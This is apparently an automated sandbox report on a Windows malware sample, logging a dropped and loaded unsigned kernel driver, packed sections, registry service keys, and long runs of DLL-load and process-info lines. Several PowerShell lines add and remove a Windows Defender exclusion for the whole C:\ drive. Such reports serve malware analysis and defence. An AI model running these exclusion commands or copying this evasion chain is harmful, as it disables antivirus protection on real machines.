Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_0088CF65	0_2_0088CF65

Source: Joe Sandbox View

Dropped File: C:\Windows\Temp\y5VWvTdZ_8184.sys C37BF1ABC0662B4F18607E2D7B75F5C600E45EA5604DAFFA54674E2AEBDCE9F0

Source: C:\Users\user\Desktop\003.exe

Process token adjusted: Load Driver

Jump to behavior

Source: C:\Users\user\Desktop\003.exe

Code function: String function: 0079B600 appears 69 times

Source: 003.exe, 00000000.00000002.1391286973.0000000140430000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHdwWiz.EXEj% vs 003.exe
Source: 003.exe, 00000000.00000003.1382744876.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFlvideo.sys0 vs 003.exe
Source: 003.exe	Binary or memory string: OriginalFilenameHdwWiz.EXEj% vs 003.exe

Source: C:\Users\user\Desktop\003.exe

Driver loaded: \Registry\Machine\System\CurrentControlSet\Services\Th5hxE2_8184

Jump to behavior

Source: y5VWvTdZ_8184.sys.0.dr

Binary string: \Device\Udp6\Device\Udp\Device\Tcp6\Device\Tcp

Source: classification engine

Classification label: mal96.evad.winEXE@7/11@1/2

Source: C:\Users\user\Desktop\003.exe

0_2_00785D7C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6192:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7284:120:WilError_03

Source: C:\Users\user\Desktop\003.exe

File created: C:\Windows\Temp\7MXAb89_8184.tmp

Jump to behavior

Source: C:\Users\user\Desktop\003.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 003.exe	Virustotal: Detection: 38%
Source: 003.exe	ReversingLabs: Detection: 55%

Source: unknown	Process created: C:\Users\user\Desktop\003.exe "C:\Users\user\Desktop\003.exe"
Source: C:\Users\user\Desktop\003.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\003.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Remove-MpPreference -ExclusionPath C:\
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\003.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\	Jump to behavior
Source: C:\Users\user\Desktop\003.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Remove-MpPreference -ExclusionPath C:\	Jump to behavior

Source: C:\Users\user\Desktop\003.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\003.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\003.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\003.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\003.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\003.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\003.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\003.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 003.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 003.exe

Static file information: File size 2007040 > 1048576

Source: 003.exe

Static PE information: Raw size of kh2 is bigger than: 0x100000 < 0x1dce00

Source: C:\Users\user\Desktop\003.exe

Code function: 0_2_0079C634 GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryExA,GetSystemDirectoryA,GetSystemDirectoryA,LoadLibraryA,

0_2_0079C634

Source: initial sample

Static PE information: section where entry point is pointing to: kh2

Source: 003.exe	Static PE information: section name: kh0
Source: 003.exe	Static PE information: section name: kh1
Source: 003.exe	Static PE information: section name: kh2
Source: y5VWvTdZ_8184.sys.0.dr	Static PE information: section name: vs0

Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00782D40 push rcx; iretd	0_2_00782D43
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00807E88 push rax; retn 0080h	0_2_00807E89
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF7C803D2A5 pushad ; iretd	1_2_00007FF7C803D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF7C8150952 push E95B7DD0h; ret	1_2_00007FF7C81509C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF7C815B9FA push E85B7CD7h; ret	1_2_00007FF7C815BAF9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF7C8222316 push 8B485F94h; iretd	1_2_00007FF7C822231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF7C805D2A5 pushad ; iretd	4_2_00007FF7C805D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF7C8242316 push 8B485F92h; iretd	4_2_00007FF7C824231B

Source: 003.exe	Static PE information: section name: kh2 entropy: 7.992348786603913
Source: y5VWvTdZ_8184.sys.0.dr	Static PE information: section name: .text entropy: 7.126561604240753

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\Users\user\Desktop\003.exe

File created: C:\Windows\Temp\y5VWvTdZ_8184.sys

Jump to behavior

Source: C:\Users\user\Desktop\003.exe

File created: C:\Windows\Temp\y5VWvTdZ_8184.sys

Jump to dropped file

Source: C:\Users\user\Desktop\003.exe

File created: C:\Windows\Temp\y5VWvTdZ_8184.sys

Jump to dropped file

Source: C:\Users\user\Desktop\003.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Th5hxE2_8184

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
